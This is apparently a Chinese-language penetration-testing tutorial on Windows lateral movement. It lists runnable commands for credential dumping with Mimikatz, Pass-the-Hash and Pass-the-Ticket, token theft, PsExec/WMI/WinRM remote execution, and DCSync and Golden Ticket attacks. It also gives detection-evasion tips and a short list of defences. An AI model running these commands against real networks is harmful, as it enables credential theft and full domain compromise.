横向移动技术详解

HackHub .org 横向移动技术 内网横向移动技术 从初始访问到域控的完整攻击路径 💻 Workstation-01 初始受控主机 普通用户权限 1 🔑 凭据收集 Mimikatz LaZagne 2 🔀 横向移动 PsExec WMI 3 🏰 DC-Server 域控制器 管理员权限 4 🗄️ DB-Server 数据库服务器 敏感数据 📂 File-Server 文件服务器 共享资源 横向移动关键技术 Pass-the-Hash: 使用NTLM Hash进行身份验证,无需明文密码 Pass-the-Ticket: 使用Kerberos票据进行身份验证 令牌窃取: 窃取进程中的访问令牌,冒充其他用户 WMI执行: 通过Windows Management Instrumentation远程执行命令 PsExec: 微软Sysinternals工具,创建服务执行命令 SSH隧道: 通过SSH建立加密通道进行横向移动

横向移动(Lateral Movement)是内网渗透测试中的关键阶段,指攻击者在获得初始访问权限后, 利用各种技术和工具在内部网络中扩展控制范围,最终达到攻击目标的过程。 本文将深入讲解横向移动的核心技术、工具和实战方法。

🎯

横向移动的目标

横向移动的核心目标包括:
• 获取更高权限(如域管理员)
• 访问敏感数据和系统
• 建立持久化访问
• 扩大攻击影响范围
• 为最终攻击目标做准备

一、凭据收集技术

横向移动的第一步通常是收集目标系统中的凭据信息,包括明文密码、哈希值、票据等。

🧠

内存凭据提取

从系统内存中提取明文密码和哈希值

工具:
Mimikatz
LaZagne
ProcDump
💾

存储凭据提取

从配置文件、注册表等位置提取存储的凭据

位置:
SAM数据库
LSASS进程
浏览器存储
凭据管理器
🎫

票据提取

提取Kerberos票据用于Pass-the-Ticket攻击

命令:
mimikatz sekurlsa::tickets
Rubeus dump
klist

Mimikatz凭据提取示例

// 提取本地凭据 mimikatz # privilege::debug mimikatz # sekurlsa::logonPasswords // 提取票据 mimikatz # sekurlsa::tickets // 导出所有票据 mimikatz # kerberos::list /export

二、Pass-the-Hash攻击

Pass-the-Hash(PTH)是一种利用NTLM哈希值进行身份验证的攻击技术, 攻击者无需知道明文密码即可访问其他系统。

PTH攻击流程

// 使用CrackMapExec进行PTH攻击 crackmapexec smb 192.168.1.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 // 使用PsExec进行PTH psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 [email protected] // 使用Mimikatz进行PTH mimikatz # sekurlsa::pth /user:administrator /domain:test.local /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0

三、Pass-the-Ticket攻击

Pass-the-Ticket(PTT)是利用Kerberos票据进行身份验证的攻击技术, 比PTH更隐蔽且功能更强大。

PTT攻击示例

// 使用Rubeus进行票据注入 Rubeus.exe ptt /ticket:ticket.kirbi // 使用Mimikatz注入票据 mimikatz # kerberos::ptt ticket.kirbi // 使用票据访问服务 mimikatz # misc::cmd C:\Windows\system32> dir \\dc.test.local\c$

四、令牌窃取与模拟

令牌窃取是通过窃取其他进程的访问令牌来冒充其他用户的技术, 可以获得该用户的权限和访问能力。

令牌操作示例

// 使用Incognito窃取令牌 meterpreter > use incognito meterpreter > list_tokens -u meterpreter > impersonate_token "TEST\Administrator" // 使用Mimikatz进行令牌操作 mimikatz # token::elevate /domainadmin mimikatz # token::whoami

五、远程执行技术

🔧

PsExec

微软Sysinternals工具,通过创建服务执行命令

psexec \\192.168.1.100 -u admin -p password cmd.exe
⚙️

WMI

Windows Management Instrumentation远程执行

wmic /node:192.168.1.100 /user:admin /password:pass process call create "cmd.exe"
📡

WinRM

Windows Remote Management协议执行

winrs -r:192.168.1.100 -u:admin -p:password whoami

六、域环境横向移动

在Active Directory环境中,横向移动具有更多可能性和复杂性。

1

域信息收集

使用BloodHound、PowerView等工具收集域结构信息

2

权限提升

寻找具有高权限的账户或组,如Domain Admins

3

DCSync攻击

模拟域控同步请求,获取所有用户哈希

4

Golden Ticket

利用KRBTGT账户哈希创建永续票据

DCSync攻击示例

// 使用Mimikatz进行DCSync mimikatz # lsadump::dcsync /domain:test.local /user:krbtgt // 创建Golden Ticket mimikatz # kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-XXXXXXXXX-XXXXXXXXX-XXXXXXXXX /krbtgt:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX /id:500 /ptt

七、隐蔽横向移动

为了避免被检测,现代横向移动越来越注重隐蔽性。

👻

无文件攻击

将恶意代码存储在内存中,避免磁盘写入

使用網路

Living-off-the-Land

使用系统自带工具进行攻击,降低检测率

🎭

合法协议滥用

滥用RDP、SMB、WinRM等合法协议进行横向移动

时间窗口利用

在业务高峰期进行活动,混入正常流量中

八、防御与检测

🛡️

防御措施

  • 最小权限原则:限制用户和服务账户权限
  • 凭据保护:启用Credential Guard等保护机制
  • 网络分段:实施微分段,限制横向移动路径
  • 监控告警:部署EDR和SIEM系统
  • 定期审计:审查账户权限和登录活动
Telegram